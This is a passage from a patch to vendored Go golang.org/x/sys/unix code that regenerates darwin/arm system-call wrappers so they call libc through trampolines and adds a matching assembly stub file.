-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_GETFSSTAT, uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.go
-new file mode 100644
-index 00000000..f519ce9a
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.go
-@@ -0,0 +1,41 @@
-+// go run mksyscall.go -l32 -tags darwin,arm,go1.13 syscall_darwin.1_13.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build darwin,arm,go1.13
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+var _ syscall.Errno
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func closedir(dir uintptr) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_closedir_trampoline), uintptr(dir), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_closedir_trampoline()
-+
-+//go:linkname libc_closedir libc_closedir
-+//go:cgo_import_dynamic libc_closedir closedir "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func readdir_r(dir uintptr, entry *Dirent, result **Dirent) (res Errno) {
-+ r0, _, _ := syscall_syscall(funcPC(libc_readdir_r_trampoline), uintptr(dir), uintptr(unsafe.Pointer(entry)), uintptr(unsafe.Pointer(result)))
-+ res = Errno(r0)
-+ return
-+}
-+
-+func libc_readdir_r_trampoline()
-+
-+//go:linkname libc_readdir_r libc_readdir_r
-+//go:cgo_import_dynamic libc_readdir_r readdir_r "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.s
-new file mode 100644
-index 00000000..488e5570
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.s
-@@ -0,0 +1,12 @@
-+// go run mkasm_darwin.go arm
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.13
-+
-+#include "textflag.h"
-+TEXT ·libc_fdopendir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fdopendir(SB)
-+TEXT ·libc_closedir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_closedir(SB)
-+TEXT ·libc_readdir_r_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readdir_r(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go
-index 7a409745..63103950 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags darwin,arm syscall_bsd.go syscall_darwin.go syscall_darwin_arm.go
-+// go run mksyscall.go -l32 -tags darwin,arm,go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_arm.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,arm
-+// +build darwin,arm,go1.12
-
- package unix
-
-@@ -15,7 +15,7 @@ var _ syscall.Errno
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -23,20 +23,30 @@ func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
- return
- }
-
-+func libc_getgroups_trampoline()
-+
-+//go:linkname libc_getgroups libc_getgroups
-+//go:cgo_import_dynamic libc_getgroups getgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setgroups(ngid int, gid *_Gid_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgroups_trampoline()
-+
-+//go:linkname libc_setgroups libc_setgroups
-+//go:cgo_import_dynamic libc_setgroups setgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_wait4_trampoline), uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
- wpid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -44,10 +54,15 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err
- return
- }
-
-+func libc_wait4_trampoline()
-+
-+//go:linkname libc_wait4 libc_wait4
-+//go:cgo_import_dynamic libc_wait4 wait4 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_accept_trampoline), uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -55,30 +70,45 @@ func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- return
- }
-
-+func libc_accept_trampoline()
-+
-+//go:linkname libc_accept libc_accept
-+//go:cgo_import_dynamic libc_accept accept "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_bind_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_bind_trampoline()
-+
-+//go:linkname libc_bind libc_bind
-+//go:cgo_import_dynamic libc_bind bind "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_connect_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_connect_trampoline()
-+
-+//go:linkname libc_connect libc_connect
-+//go:cgo_import_dynamic libc_connect connect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socket(domain int, typ int, proto int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto))
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_socket_trampoline), uintptr(domain), uintptr(typ), uintptr(proto))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -86,66 +116,101 @@ func socket(domain int, typ int, proto int) (fd int, err error) {
- return
- }
-
-+func libc_socket_trampoline()
-+
-+//go:linkname libc_socket libc_socket
-+//go:cgo_import_dynamic libc_socket socket "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-- _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockopt_trampoline()
-+
-+//go:linkname libc_getsockopt libc_getsockopt
-+//go:cgo_import_dynamic libc_getsockopt getsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setsockopt_trampoline()
-+
-+//go:linkname libc_setsockopt libc_setsockopt
-+//go:cgo_import_dynamic libc_setsockopt setsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getpeername_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getpeername_trampoline()
-+
-+//go:linkname libc_getpeername libc_getpeername
-+//go:cgo_import_dynamic libc_getpeername getpeername "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getsockname_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockname_trampoline()
-+
-+//go:linkname libc_getsockname libc_getsockname
-+//go:cgo_import_dynamic libc_getsockname getsockname "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Shutdown(s int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_shutdown_trampoline), uintptr(s), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_shutdown_trampoline()
-+
-+//go:linkname libc_shutdown libc_shutdown
-+//go:cgo_import_dynamic libc_shutdown shutdown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-- _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall6(funcPC(libc_socketpair_trampoline), uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_socketpair_trampoline()
-+
-+//go:linkname libc_socketpair libc_socketpair
-+//go:cgo_import_dynamic libc_socketpair socketpair "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-@@ -155,7 +220,7 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_recvfrom_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -163,6 +228,11 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- return
- }
-
-+func libc_recvfrom_trampoline()
-+
-+//go:linkname libc_recvfrom libc_recvfrom
-+//go:cgo_import_dynamic libc_recvfrom recvfrom "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-@@ -172,17 +242,22 @@ func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sendto_trampoline), uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sendto_trampoline()
-+
-+//go:linkname libc_sendto libc_sendto
-+//go:cgo_import_dynamic libc_sendto sendto "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_recvmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -190,10 +265,15 @@ func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_recvmsg_trampoline()
-+
-+//go:linkname libc_recvmsg libc_recvmsg
-+//go:cgo_import_dynamic libc_recvmsg recvmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_sendmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -201,10 +281,15 @@ func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_sendmsg_trampoline()
-+
-+//go:linkname libc_sendmsg libc_sendmsg
-+//go:cgo_import_dynamic libc_sendmsg sendmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_kevent_trampoline), uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -212,21 +297,10 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_kevent_trampoline()
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_kevent libc_kevent
-+//go:cgo_import_dynamic libc_kevent kevent "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -236,34 +310,49 @@ func utimes(path string, timeval *[2]Timeval) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_utimes_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_utimes_trampoline()
-+
-+//go:linkname libc_utimes libc_utimes
-+//go:cgo_import_dynamic libc_utimes utimes "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func futimes(fd int, timeval *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_futimes_trampoline), uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_futimes_trampoline()
-+
-+//go:linkname libc_futimes libc_futimes
-+//go:cgo_import_dynamic libc_futimes futimes "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_poll_trampoline), uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_poll_trampoline()
-+
-+//go:linkname libc_poll libc_poll
-+//go:cgo_import_dynamic libc_poll poll "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Madvise(b []byte, behav int) (err error) {
-@@ -273,13 +362,18 @@ func Madvise(b []byte, behav int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav))
-+ _, _, e1 := syscall_syscall(funcPC(libc_madvise_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(behav))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_madvise_trampoline()
-+
-+//go:linkname libc_madvise libc_madvise
-+//go:cgo_import_dynamic libc_madvise madvise "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlock(b []byte) (err error) {
-@@ -289,23 +383,33 @@ func Mlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlock_trampoline()
-+
-+//go:linkname libc_mlock libc_mlock
-+//go:cgo_import_dynamic libc_mlock mlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlockall_trampoline), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlockall_trampoline()
-+
-+//go:linkname libc_mlockall libc_mlockall
-+//go:cgo_import_dynamic libc_mlockall mlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mprotect(b []byte, prot int) (err error) {
-@@ -315,13 +419,18 @@ func Mprotect(b []byte, prot int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mprotect_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(prot))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mprotect_trampoline()
-+
-+//go:linkname libc_mprotect libc_mprotect
-+//go:cgo_import_dynamic libc_mprotect mprotect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Msync(b []byte, flags int) (err error) {
-@@ -331,13 +440,18 @@ func Msync(b []byte, flags int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_msync_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_msync_trampoline()
-+
-+//go:linkname libc_msync libc_msync
-+//go:cgo_import_dynamic libc_msync msync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlock(b []byte) (err error) {
-@@ -347,37 +461,52 @@ func Munlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlock_trampoline()
-+
-+//go:linkname libc_munlock libc_munlock
-+//go:cgo_import_dynamic libc_munlock munlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlockall_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlockall_trampoline()
-+
-+//go:linkname libc_munlockall libc_munlockall
-+//go:cgo_import_dynamic libc_munlockall munlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getattrlist_trampoline()
-+
-+//go:linkname libc_getattrlist libc_getattrlist
-+//go:cgo_import_dynamic libc_getattrlist getattrlist "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_pipe_trampoline), 0, 0, 0)
- r = int(r0)
- w = int(r1)
- if e1 != 0 {
-@@ -386,26 +515,282 @@ func pipe() (r int, w int, err error) {
- return
- }
-
-+func libc_pipe_trampoline()
-+
-+//go:linkname libc_pipe libc_pipe
-+//go:cgo_import_dynamic libc_pipe pipe "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_getxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getxattr_trampoline()
-+
-+//go:linkname libc_getxattr libc_getxattr
-+//go:cgo_import_dynamic libc_getxattr getxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
